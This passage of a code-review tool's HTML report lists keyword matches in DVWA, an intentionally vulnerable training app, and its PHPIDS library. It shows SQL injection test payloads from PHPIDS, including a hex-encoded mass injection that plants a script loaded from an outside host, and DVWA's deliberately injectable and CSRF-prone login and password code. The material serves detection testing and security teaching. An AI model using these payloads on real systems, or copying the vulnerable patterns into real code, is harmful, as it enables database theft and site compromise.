</span> <div class='poi_content'> <pre class='snippet'><code>59- 60- /** 61- * Internal parser that acepts a file handle. 62: * <span class='match_highlight'>@note</span> While it's possible to simulate in-memory parsing by using 63- * custom stream wrappers, if such a use-case arises we should 64- * factor out the file handle into its own class. 65- * @param $fh File handle with pointer at start of valid string-hash</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>6</span> <span class='match_count'>(82/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Represents an XHTML 1.1 module, with information on elements, tags 5- * and attributes. 6: * <span class='match_highlight'>@note</span> Even though this is technically XHTML 1.1, it is also used for 7- * regular HTML parsing. We are using modulization as a convenient 8- * way to represent the internals of HTMLDefinition, and our 9- * implementation is by no means conforming and does not directly 10- * use the normative DTDs or XML schemas. 11: * <span class='match_highlight'>@note</span> The public variables in a module should almost directly 12- * correspond to the variables in HTMLPurifier_HTMLDefinition. 13- * However, the prefix info carries no special meaning in these 14- * objects (include it anyway if that's the correspondence though).</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>97</span> <span class='match_count'>(83/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>94- * which is based off of safe HTML, to explicitly say, "This is safe," even 95- * though there are modules which are "unsafe") 96- * 97: * <span class='match_highlight'>@note</span> Previously, safety could be applied at an element level granularity. 98- * We've removed this ability, so in order to add "unsafe" elements 99- * or attributes, a dedicated module with this property set to false 100- * must be used.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>126</span> <span class='match_count'>(84/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>123- * @param $attr_includes What attribute collections to register to 124- * element? 125- * @param $attr What unique attributes does the element define? 126: * <span class='match_highlight'>@note</span> See ElementDef for in-depth descriptions of these parameters. 127- * @return Created element definition object, so you 128- * can set advanced parameters 129- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>181</span> <span class='match_count'>(85/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>178- * into separate content model and content model type 179- * @param $contents Allowed children in form of: 180- * "$content_model_type: $content_model" 181: * <span class='match_highlight'>@note</span> If contents is an object, an array of two nulls will be 182- * returned, and the callee needs to take the original $contents 183- * and use it directly. 184- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>220</span> <span class='match_count'>(86/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>217- * Convenience function that generates a lookup table with boolean 218- * true as value. 219- * @param $list List of values to turn into a lookup 220: * <span class='match_highlight'>@note</span> You can also pass an arbitrary number of arguments in 221- * place of the regular argument 222- * @return Lookup array equivalent of list 223- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php</span>:<span class='line_number'>143</span> <span class='match_count'>(87/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>140- 141- /** 142- * Generates attribute declarations from attribute array. 143: * <span class='match_highlight'>@note</span> This does not include the leading or trailing space. 144- * @param $assoc_array_of_attributes Attribute array 145- * @param $element Name of element attributes are for, used to check 146- * attribute minimization.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup.php</span>:<span class='line_number'>15</span> <span class='match_count'>(88/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- 13- /** 14- * Sets up the entity lookup table from the serialized file contents. 15: * <span class='match_highlight'>@note</span> The serialized contents are versioned, but were generated 16- * using the maintenance script generate_entity_file.php 17- * @warning This is not in constructor to help enforce the Singleton 18- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector.php</span>:<span class='line_number'>225</span> <span class='match_count'>(89/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>222- 223- /** 224- * Notifier that is called when an end token is processed 225: * <span class='match_highlight'>@note</span> This differs from handlers in that the token is read-only 226- * @deprecated 227- */ 228- public function notifyEnd($token) {}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef.php</span>:<span class='line_number'>47</span> <span class='match_count'>(90/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>44- * attributes specified as CDATA, it can also be applied to most CSS 45- * values. 46- * 47: * <span class='match_highlight'>@note</span> This method is not entirely standards compliant, as trim() removes 48- * more types of whitespace than specified in the spec. In practice, 49- * this is rarely a problem, as those extra characters usually have 50- * already been removed by HTMLPurifier_Encoder.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language.php</span>:<span class='line_number'>55</span> <span class='match_count'>(91/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>52- 53- /** 54- * Loads language object with necessary info from factory cache 55: * <span class='match_highlight'>@note</span> This is a lazy loader 56- */ 57- public function load() { 58- if ($this->_loaded) return;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PercentEncoder.php</span>:<span class='line_number'>43</span> <span class='match_count'>(92/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>40- /** 41- * Our replacement for urlencode, it encodes all non-reserved characters, 42- * as well as any extra characters that were instructed to be preserved. 43: * <span class='match_highlight'>@note</span> 44- * Assumes that the string has already been normalized, making any 45- * and all percent escape sequences valid. Percents will not be 46- * re-escaped, regardless of their status in $preserve</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.func.php</span>:<span class='line_number'>6</span> <span class='match_count'>(93/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * @file 5- * Defines a function wrapper for HTML Purifier for quick use. 6: * <span class='match_highlight'>@note</span> ''HTMLPurifier()'' is NOT the same as ''new HTMLPurifier()'' 7- */ 8- 9-/**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.php</span>:<span class='line_number'>43</span> <span class='match_count'>(94/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>40-/** 41- * Facade that coordinates HTML Purifier's subsystems in order to purify HTML. 42- * 43: * <span class='match_highlight'>@note</span> There are several points in which configuration can be specified 44- * for HTML Purifier. The precedence of these (from lowest to 45- * highest) is as follows: 46- * -# Instance: new HTMLPurifier($config)</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier.php</span>:<span class='line_number'>228</span> <span class='match_count'>(95/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>225- } 226- 227- /** 228: * <span class='match_highlight'>@note</span> Backwards compatibility, see instance() 229- */ 230- public static function getInstance($prototype = null) { 231- return HTMLPurifier::instance($prototype);</code></pre> </div> </div> </div> </div> <div class='signature_14c4b06b824ec593239362517f538b29 signature_group_custom_strings signature_group'> <a name='s-14c4b06b824ec593239362517f538b29'></a> <h3> <code>username</code> <span class='signature_count'>(16)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","14c4b06b824ec593239362517f538b29")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>14</span> <span class='match_count'>(1/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- 13- 14: $user = $_POST[ '<span class='match_highlight'>username</span>' ]; 15- $user = stripslashes( $user ); 16- $user = mysql_real_escape_string( $user ); 17-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>76</span> <span class='match_count'>(2/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>73- 74- <fieldset> 75- 76: <label for=\"user\">Username</label> <input type=\"text\" class=\"loginInput\" size=\"20\" name=\"<span class='match_highlight'>username</span>\"><br /> 77- 78- 79- <label for=\"pass\">Password</label> <input type=\"password\" class=\"loginInput\" AUTOCOMPLETE=\"off\" size=\"20\" name=\"password\"><br /></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>44</span> <span class='match_count'>(3/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>41- <h2>Login</h2> 42- 43- <form action=\"#\" method=\"GET\"> 44: Username:<br><input type=\"text\" name=\"<span class='match_highlight'>username</span>\"><br> 45- Password:<br><input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password\"><br> 46- <input type=\"submit\" value=\"Login\" name=\"Login\"> 47- </form></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/low.php</span>:<span class='line_number'>5</span> <span class='match_count'>(4/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-if( isset( $_GET['Login'] ) ) { 4- 5: $user = $_GET['<span class='match_highlight'>username</span>']; 6- 7- $pass = $_GET['password']; 8- $pass = md5($pass);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/high.php</span>:<span class='line_number'>5</span> <span class='match_count'>(5/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-if( isset( $_GET[ 'Login' ] ) ) { 4- 5: // Sanitise <span class='match_highlight'>username</span> input 6: $user = $_GET[ '<span class='match_highlight'>username</span>' ]; 7- $user = stripslashes( $user ); 8- $user = mysql_real_escape_string( $user ); 9-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/medium.php</span>:<span class='line_number'>5</span> <span class='match_count'>(6/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-if( isset( $_GET[ 'Login' ] ) ) { 4- 5: // Sanitise <span class='match_highlight'>username</span> input 6: $user = $_GET[ '<span class='match_highlight'>username</span>' ]; 7- $user = mysql_real_escape_string( $user ); 8- 9- // Sanitise password input</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>624</span> <span class='match_count'>(7/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>621- $exploits[] = 'aaa\' or (1)=(1) #!asd'; 622- $exploits[] = 'aaa\' OR (1) IS NOT NULL #!asd'; 623- $exploits[] = 'a\' or 1=\'1'; 624: $exploits[] = 'asd\' union (select <span class='match_highlight'>username</span>,password from admins) where id=\'1'; 625- $exploits[] = "1'; WAITFOR TIME '17:48:00 ' shutdown -- -a"; 626- $exploits[] = "1'; anything: goto anything -- -a"; 627- $exploits[] = "' =+ '";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>861</span> <span class='match_count'>(8/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>858- $exploits[] = "1'^column is not null - ' "; 859- $exploits[] = "'is\N - '1"; 860- $exploits[] = "aa' is 0 or '1"; 861: $exploits[] = "' or MATCH <span class='match_highlight'>username</span> AGAINST ('+admin -a' IN BOOLEAN MODE); -- -a"; 862: $exploits[] = "' or MATCH <span class='match_highlight'>username</span> AGAINST ('a* -) -+ ' IN BOOLEAN MODE); -- -a"; 863- $exploits[] = "1'*@a or '1"; 864- $exploits[] = "1'*null or '1"; 865- $exploits[] = "1'*UTC_TIME or '1";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>911</span> <span class='match_count'>(9/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>908- $exploits[] = 'DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);'; 909- $exploits[] = "asaa';SELECT[asd]FROM[asd]"; 910- $exploits[] = "asd'; select [column] from users "; 911: $exploits[] = "0x31 union select @@version,<span class='match_highlight'>username</span>,password from users "; 912- $exploits[] = "1 order by if(1<2 ,uname,uid) "; 913- $exploits[] = "1 order by ifnull(null,userid) "; 914- $exploits[] = "2' between 1 and 3 or 0x61 like 'a";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php</span>:<span class='line_number'>85</span> <span class='match_count'>(10/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>82- if ($this->host === false) $this->host = null; 83- } 84- 85: // validate <span class='match_highlight'>username</span> 86- if (!is_null($this->userinfo)) { 87- $encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':'); 88- $this->userinfo = $encoder->encode($this->userinfo);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>114</span> <span class='match_count'>(11/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>111- 112- $dvwaSession =& dvwaSessionGrab(); 113- 114: $dvwaSession['<span class='match_highlight'>username</span>'] = $pUsername; 115- 116-} 117-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>123</span> <span class='match_count'>(12/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>120- 121- $dvwaSession =& dvwaSessionGrab(); 122- 123: return isset( $dvwaSession['<span class='match_highlight'>username</span>'] ); 124- 125-} 126-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>132</span> <span class='match_count'>(13/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>129- 130- $dvwaSession =& dvwaSessionGrab(); 131- 132: unset( $dvwaSession['<span class='match_highlight'>username</span>'] ); 133- 134-} 135-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>147</span> <span class='match_count'>(14/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>144- 145- $dvwaSession =& dvwaSessionGrab(); 146- 147: return ( isset( $dvwaSession['<span class='match_highlight'>username</span>']) ? $dvwaSession['<span class='match_highlight'>username</span>'] : '') ; 148- 149-} 150-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>46</span> <span class='match_count'>(15/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>43- dvwaPageReload(); 44-} 45- 46:$create_tb = "CREATE TABLE users (user_id integer UNIQUE, first_name text, last_name text, <span class='match_highlight'>username</span> text, password text, avatar text, PRIMARY KEY (user_id));"; 47- 48-if( !pg_query( $create_tb ) ){ 49- dvwaMessagePush( "Table could not be created<br />SQL: " . pg_last_error() );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>45</span> <span class='match_count'>(16/16)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- } 43- 44- function db_login( $user,$pass ) { 45: $login = "SELECT * FROM users WHERE <span class='match_highlight'>username</span>='$user' AND password='$pass';"; 46- 47- $result = @pg_query( $login ) or die('<pre>' . pg_last_error() . '</pre>'); 48-</code></pre> </div> </div> </div> </div> <div class='signature_5f4dcc3b5aa765d61d8327deb882cf99 signature_group_custom_strings signature_group'> <a name='s-5f4dcc3b5aa765d61d8327deb882cf99'></a> <h3> <code>password</code> <span class='signature_count'>(42)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","5f4dcc3b5aa765d61d8327deb882cf99")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>18</span> <span class='match_count'>(1/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- $user = mysql_real_escape_string( $user ); 17- 18: $pass = $_POST[ '<span class='match_highlight'>password</span>' ]; 19- $pass = stripslashes( $pass ); 20- $pass = mysql_real_escape_string( $pass ); 21- $pass = md5( $pass ); 22- 23: $qry = "SELECT * FROM `users` WHERE user='$user' AND <span class='match_highlight'>password</span>='$pass';"; 24- 25- $result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 26-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>79</span> <span class='match_count'>(2/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>76- <label for=\"user\">Username</label> <input type=\"text\" class=\"loginInput\" size=\"20\" name=\"username\"><br /> 77- 78- 79: <label for=\"pass\">Password</label> <input type=\"<span class='match_highlight'>password</span>\" class=\"loginInput\" AUTOCOMPLETE=\"off\" size=\"20\" name=\"<span class='match_highlight'>password</span>\"><br /> 80- 81- 82- <p class=\"submit\"><input type=\"submit\" value=\"Login\" name=\"Login\"></p></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./config/config.inc.php</span>:<span class='line_number'>18</span> <span class='match_count'>(3/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>15-$_DVWA[ 'db_server' ] = 'localhost'; 16-$_DVWA[ 'db_database' ] = 'dvwa'; 17-$_DVWA[ 'db_user' ] = 'root'; 18:$_DVWA[ 'db_<span class='match_highlight'>password</span>' ] = ''; 19- 20-# Only needed for PGSQL 21-$_DVWA[ 'db_port' ] = '5432';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/index.php</span>:<span class='line_number'>41</span> <span class='match_count'>(4/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>38- 39- <div class=\"vulnerable_code_area\"> 40- 41: <h3>Change your admin <span class='match_highlight'>password</span>:</h3> 42- <br> 43- <form action=\"#\" method=\"GET\">"; 44- 45- if (dvwaSecurityLevelGet() == 'high'){ 46: $page[ 'body' ] .= "Current <span class='match_highlight'>password</span>:<br> 47: <input type=\"<span class='match_highlight'>password</span>\" AUTOCOMPLETE=\"off\" name=\"<span class='match_highlight'>password</span>_current\"><br>"; 48- } 49- 50:$page[ 'body' ] .= " New <span class='match_highlight'>password</span>:<br> 51: <input type=\"<span class='match_highlight'>password</span>\" AUTOCOMPLETE=\"off\" name=\"<span class='match_highlight'>password</span>_new\"><br> 52: Confirm new <span class='match_highlight'>password</span>: <br> 53: <input type=\"<span class='match_highlight'>password</span>\" AUTOCOMPLETE=\"off\" name=\"<span class='match_highlight'>password</span>_conf\"> 54- <br> 55- <input type=\"submit\" value=\"Change\" name=\"Change\"> 56- </form></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/low.php</span>:<span class='line_number'>6</span> <span class='match_count'>(5/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3- if (isset($_GET['Change'])) { 4- 5- // Turn requests into variables 6: $pass_new = $_GET['<span class='match_highlight'>password</span>_new']; 7: $pass_conf = $_GET['<span class='match_highlight'>password</span>_conf']; 8- 9- 10- if (($pass_new == $pass_conf)){ 11- $pass_new = mysql_real_escape_string($pass_new); 12- $pass_new = md5($pass_new); 13- 14: $insert="UPDATE `users` SET <span class='match_highlight'>password</span> = '$pass_new' WHERE user = 'admin';"; 15- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 16- 17- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/high.php</span>:<span class='line_number'>6</span> <span class='match_count'>(6/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3- if (isset($_GET['Change'])) { 4- 5- // Turn requests into variables 6: $pass_curr = $_GET['<span class='match_highlight'>password</span>_current']; 7: $pass_new = $_GET['<span class='match_highlight'>password</span>_new']; 8: $pass_conf = $_GET['<span class='match_highlight'>password</span>_conf']; 9- 10: // Sanitise current <span class='match_highlight'>password</span> input 11- $pass_curr = stripslashes( $pass_curr ); 12- $pass_curr = mysql_real_escape_string( $pass_curr ); 13- $pass_curr = md5( $pass_curr ); 14- 15: // Check that the current <span class='match_highlight'>password</span> is correct 16: $qry = "SELECT <span class='match_highlight'>password</span> FROM `users` WHERE user='admin' AND <span class='match_highlight'>password</span>='$pass_curr';"; 17- $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){ 20- $pass_new = mysql_real_escape_string($pass_new); 21- $pass_new = md5($pass_new); 22- 23: $insert="UPDATE `users` SET <span class='match_highlight'>password</span> = '$pass_new' WHERE user = 'admin';"; 24- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 25- 26- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/high.php</span>:<span class='line_number'>31</span> <span class='match_count'>(7/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>28- } 29- 30- else{ 31: $html .= "<pre> Passwords did not match or current <span class='match_highlight'>password</span> incorrect. </pre>"; 32- } 33- 34- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/medium.php</span>:<span class='line_number'>9</span> <span class='match_count'>(8/42)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){ 7- 8- // Turn requests into variables 9: $pass_new = $_GET['<span class='match_highlight'>password</span>_new']; 10: $pass_conf = $_GET['<span class='match_highlight'>password</span>_conf']; 11- 12- if ($pass_new == $pass_conf){ 13- $pass_new 